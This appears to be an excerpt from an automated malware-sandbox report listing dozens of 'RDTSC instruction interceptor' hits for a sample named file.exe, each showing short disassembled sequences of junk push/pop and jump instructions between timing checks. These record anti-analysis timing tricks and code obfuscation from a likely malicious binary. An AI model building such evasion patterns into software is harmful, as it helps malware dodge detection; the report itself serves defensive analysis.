Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A70B second address: 121A739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d pushad 0x0000000e jmp 00007F5C20C5AC49h 0x00000013 jno 00007F5C20C5AC36h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CE55 second address: 121CE68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C2120954Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C945 second address: 121C961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5C20C5AC47h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220B9A second address: 1220B9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220B9F second address: 1220BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220F8E second address: 1220F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220F94 second address: 1220FC8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5C20C5AC3Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F5C20C5AC36h 0x00000017 jmp 00007F5C20C5AC44h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12212D4 second address: 12212D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12264E2 second address: 12264FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5C20C5AC36h 0x0000000a jmp 00007F5C20C5AC3Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226651 second address: 1226655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226655 second address: 122668F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5C20C5AC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F5C20C5AC3Ah 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 pushad 0x00000018 jng 00007F5C20C5AC36h 0x0000001e jng 00007F5C20C5AC36h 0x00000024 jmp 00007F5C20C5AC3Eh 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12267ED second address: 1226803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F5C21209546h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226803 second address: 1226811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE216 second address: 11CE2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F5C21209557h 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F5C21209556h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F5C21209548h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 jo 00007F5C21209549h 0x00000036 and ch, 0000007Ah 0x00000039 mov ebx, dword ptr [ebp+12483379h] 0x0000003f jnc 00007F5C2120954Ch 0x00000045 add eax, ebx 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a call 00007F5C21209548h 0x0000004f pop eax 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc eax 0x0000005d push eax 0x0000005e ret 0x0000005f pop eax 0x00000060 ret 0x00000061 xor dword ptr [ebp+122D1CE9h], edi 0x00000067 nop 0x00000068 jg 00007F5C21209558h 0x0000006e push eax 0x0000006f push eax 0x00000070 jbe 00007F5C2120954Ch 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227953 second address: 1227957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A9EC second address: 122A9FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F5C21209548h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A9FC second address: 122AA13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C20C5AC43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A4CB second address: 122A4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232000 second address: 1232004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230182 second address: 1230186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230186 second address: 12301A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F5C20C5AC41h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230470 second address: 123049D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F5C21209546h 0x0000000b pop edx 0x0000000c jng 00007F5C2120955Ah 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123049D second address: 12304C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 je 00007F5C20C5AC36h 0x0000000e jmp 00007F5C20C5AC44h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123138B second address: 1231391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231391 second address: 1231396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231396 second address: 12313A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F5C2120954Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12313A7 second address: 12313B6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C20C5AC36h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123169B second address: 123169F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12382A1 second address: 12382A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12382A5 second address: 12382AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12375A6 second address: 12375AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12376DB second address: 12376E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237C61 second address: 1237C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jnc 00007F5C20C5AC36h 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e pushad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DDE second address: 1237DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DE2 second address: 1237DE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237F68 second address: 1237F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C21209559h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237F85 second address: 1237F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CBC7 second address: 123CBCD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242B64 second address: 1242B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242CAF second address: 1242CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5C21209556h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242CCB second address: 1242CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243C8A second address: 1243CB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C21209550h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F5C2120954Eh 0x00000011 pushad 0x00000012 popad 0x00000013 jng 00007F5C21209546h 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jns 00007F5C21209546h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CB9 second address: 1243CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CBE second address: 1243CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5C21209546h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CE8B second address: 124CE9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007F5C20C5AC36h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F5C20C5AC36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C8CE second address: 124C8E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5C21209546h 0x0000000a je 00007F5C21209546h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C8E3 second address: 124C8E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C8E7 second address: 124C8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C8EF second address: 124C928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F5C20C5AC36h 0x00000014 pop esi 0x00000015 push edi 0x00000016 jbe 00007F5C20C5AC36h 0x0000001c jmp 00007F5C20C5AC45h 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C928 second address: 124C932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5C21209546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C932 second address: 124C93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C93C second address: 124C942 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258C45 second address: 1258C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125CFC6 second address: 125CFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209552h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125CFE6 second address: 125CFEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125CBE1 second address: 125CBE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FA47 second address: 125FA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5C20C5AC36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186253 second address: 118626C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209553h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118626C second address: 118627F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F5C20C5AC36h 0x0000000d je 00007F5C20C5AC36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118627F second address: 118629A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e js 00007F5C21209546h 0x00000014 jnl 00007F5C21209546h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F579 second address: 125F57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126118B second address: 126118F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F5FF second address: 126F618 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5C20C5AC38h 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F5C20C5AC3Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F49F second address: 126F4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F4A5 second address: 126F4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270C54 second address: 1270C5A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276B0F second address: 1276B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276B13 second address: 1276B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5C21209546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F5C21209558h 0x00000013 pushad 0x00000014 jmp 00007F5C21209558h 0x00000019 jl 00007F5C21209546h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276B5A second address: 1276B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push edx 0x00000009 pop edx 0x0000000a jc 00007F5C20C5AC36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276B6C second address: 1276B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276B75 second address: 1276B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276CEF second address: 1276D26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C21209552h 0x00000007 jmp 00007F5C21209557h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12770D5 second address: 12770D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127723B second address: 1277251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5C2120954Dh 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277251 second address: 1277255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12773B2 second address: 12773B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12773B8 second address: 12773D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007F5C20C5AC36h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5C20C5AC41h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277536 second address: 127753A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C994 second address: 127C99A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B4A second address: 1294B50 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B50 second address: 1294B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F5C20C5AC36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B5E second address: 1294B64 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B64 second address: 1294B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B71 second address: 1294B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B77 second address: 1294B97 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F5C20C5AC46h 0x00000010 jmp 00007F5C20C5AC40h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B97 second address: 1294B9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B9E second address: 1294BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jc 00007F5C20C5AC36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12973D4 second address: 12973F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209558h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12973F4 second address: 1297403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F5C20C5AC36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297403 second address: 1297407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297407 second address: 129740B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129740B second address: 129744A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F5C21209546h 0x0000000f jmp 00007F5C21209550h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5C21209556h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129744A second address: 129744E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129744E second address: 1297457 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297457 second address: 1297464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5C20C5AC36h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
